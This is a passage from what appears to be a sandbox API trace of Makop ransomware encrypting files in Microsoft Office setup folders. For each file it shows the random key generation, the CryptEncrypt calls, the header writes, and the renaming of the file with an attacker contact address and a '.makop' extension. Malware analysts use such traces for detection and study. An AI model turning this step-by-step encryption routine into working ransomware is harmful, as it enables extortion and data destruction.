Controller\\pkeyconfig-office.xrm-ms.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 151 [0093.056] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig-office.xrm-ms"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig-office.xrm-ms.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0093.057] CloseHandle (hObject=0x138) returned 1 [0093.057] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6904ef00, ftCreationTime.dwHighDateTime=0x1ca912c, ftLastAccessTime.dwLowDateTime=0x6cf07e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6904ef00, ftLastWriteTime.dwHighDateTime=0x1ca912c, nFileSizeHigh=0x0, nFileSizeLow=0x3d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig.companion.dll", cAlternateFileName="PKEYCO~1.DLL")) returned 1 [0093.057] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0093.057] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig.companion.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0093.058] GetProcessHeap () returned 0x48a0000 [0093.058] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0093.058] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0093.058] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0093.058] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0093.063] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0093.063] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0093.063] GetProcessHeap () returned 0x48a0000 [0093.063] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x50) returned 0x48c3f98 [0093.063] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3f98*, pdwDataLen=0x6576010*=0x50, dwBufLen=0x50 | out: pbData=0x48c3f98*, pdwDataLen=0x6576010*=0x50) returned 1 [0093.063] CryptDestroyKey (hKey=0x48c7168) returned 1 [0093.063] WriteFile (in: hFile=0x138, lpBuffer=0x48c3f98*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3f98*, lpNumberOfBytesWritten=0x6576028*=0x50, lpOverlapped=0x0) returned 1 [0093.063] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0093.063] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0093.064] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0093.064] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0093.064] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0093.064] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0093.064] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0093.064] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.064] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3d78, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x3d78, lpOverlapped=0x0) returned 1 [0093.066] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x3d80, dwBufLen=0x3d80 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x3d80) returned 1 [0093.067] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.067] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3d80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x3d80, lpOverlapped=0x0) returned 1 [0093.067] CryptDestroyKey (hKey=0x48c7168) returned 1 [0093.067] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x3e64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.068] SetEndOfFile (hFile=0x138) returned 1 [0093.074] GetProcessHeap () returned 0x48a0000 [0093.075] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3f98 | out: hHeap=0x48a0000) returned 1 [0093.075] GetProcessHeap () returned 0x48a0000 [0093.075] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0093.075] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 151 [0093.075] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig.companion.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig.companion.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0093.076] CloseHandle (hObject=0x138) returned 1 [0093.076] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPoint.en-us", cAlternateFileName="POWERP~1.EN-")) returned 1 [0093.076] wsprintfW (in: param_1=0x65772f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us") returned 96 [0093.076] wsprintfW (in: param_1=0x6574870, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\*.*") returned 100 [0093.076] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\*.*", lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7168 [0093.078] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.078] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5db14d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.XML", cAlternateFileName="POWERP~1.XML")) returned 1 [0093.079] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0093.079] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0093.079] GetProcessHeap () returned 0x48a0000 [0093.079] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0093.079] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0093.079] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745c8 | out: lpNewFilePointer=0x0) returned 1 [0093.080] WriteFile (in: hFile=0x114, lpBuffer=0x65745d8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745d8*, lpNumberOfBytesWritten=0x65745a8*=0x6, lpOverlapped=0x0) returned 1 [0093.084] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0093.085] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0093.085] GetProcessHeap () returned 0x48a0000 [0093.085] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0093.085] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6574590*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6574590*=0x40) returned 1 [0093.085] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0093.085] WriteFile (in: hFile=0x114, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x65745a8*=0x40, lpOverlapped=0x0) returned 1 [0093.085] WriteFile (in: hFile=0x114, lpBuffer=0x65745b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745b0*, lpNumberOfBytesWritten=0x65745a8*=0x4, lpOverlapped=0x0) returned 1 [0093.085] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x65745a8*=0x10, lpOverlapped=0x0) returned 1 [0093.085] WriteFile (in: hFile=0x114, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x65745a8*=0x80, lpOverlapped=0x0) returned 1 [0093.086] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745d0 | out: lpNewFilePointer=0x0) returned 1 [0093.086] WriteFile (in: hFile=0x114, lpBuffer=0x65745c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745c0*, lpNumberOfBytesWritten=0x65745a8*=0x8, lpOverlapped=0x0) returned 1 [0093.086] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0093.086] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0093.086] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.086] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5aa, lpNumberOfBytesRead=0x65745b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65745b4*=0x5aa, lpOverlapped=0x0) returned 1 [0093.086] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6574590*=0x5b0, dwBufLen=0x5b0 | out: pbData=0x6370020*, pdwDataLen=0x6574590*=0x5b0) returned 1 [0093.086] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.086] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65745a8*=0x5b0, lpOverlapped=0x0) returned 1 [0093.087] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0093.087] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.087] SetEndOfFile (hFile=0x114) returned 1 [0093.093] GetProcessHeap () returned 0x48a0000 [0093.093] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0093.093] GetProcessHeap () returned 0x48a0000 [0093.093] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0093.093] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 161 [0093.094] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0093.096] CloseHandle (hObject=0x114) returned 1 [0093.096] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0093.096] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0093.096] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0093.098] GetProcessHeap () returned 0x48a0000 [0093.098] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0093.099] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0093.099] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745c8 | out: lpNewFilePointer=0x0) returned 1 [0093.099] WriteFile (in: hFile=0x114, lpBuffer=0x65745d8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745d8*, lpNumberOfBytesWritten=0x65745a8*=0x2, lpOverlapped=0x0) returned 1 [0093.103] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0093.103] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0093.103] GetProcessHeap () returned 0x48a0000 [0093.103] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0093.103] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6574590*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6574590*=0x30) returned 1 [0093.103] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0093.103] WriteFile (in: hFile=0x114, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x65745a8*=0x30, lpOverlapped=0x0) returned 1 [0093.103] WriteFile (in: hFile=0x114, lpBuffer=0x65745b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745b0*, lpNumberOfBytesWritten=0x65745a8*=0x4, lpOverlapped=0x0) returned 1 [0093.103] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x65745a8*=0x10, lpOverlapped=0x0) returned 1 [0093.104] WriteFile (in: hFile=0x114, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x65745a8*=0x80, lpOverlapped=0x0) returned 1 [0093.104] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745d0 | out: lpNewFilePointer=0x0) returned 1 [0093.104] WriteFile (in: hFile=0x114, lpBuffer=0x65745c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745c0*, lpNumberOfBytesWritten=0x65745a8*=0x8, lpOverlapped=0x0) returned 1 [0093.104] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0093.104] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0093.104] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.104] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0x75e, lpNumberOfBytesRead=0x65745b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65745b4*=0x75e, lpOverlapped=0x0) returned 1 [0093.104] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6574590*=0x760, dwBufLen=0x760 | out: pbData=0x6370020*, pdwDataLen=0x6574590*=0x760) returned 1 [0093.104] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.105] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65745a8*=0x760, lpOverlapped=0x0) returned 1 [0093.105] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0093.105] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x824, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.105] SetEndOfFile (hFile=0x114) returned 1 [0093.111] GetProcessHeap () returned 0x48a0000 [0093.111] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0093.111] GetProcessHeap () returned 0x48a0000 [0093.111] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0093.111] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 153 [0093.111] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0093.116] CloseHandle (hObject=0x114) returned 1 [0093.116] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0093.116] FindClose (in: hFindFile=0x48c7168 | out: hFindFile=0x48c7168) returned 1 [0093.116] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PRJPROR", cAlternateFileName="")) returned 1 [0093.116] wsprintfW (in: param_1=0x65772f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR") returned 87 [0093.117] wsprintfW (in: param_1=0x6574870, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\*.*") returned 91 [0093.117] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\*.*", lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7168 [0093.118] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.118] FindNextFileW (in: hFindFile=0x48c7168, 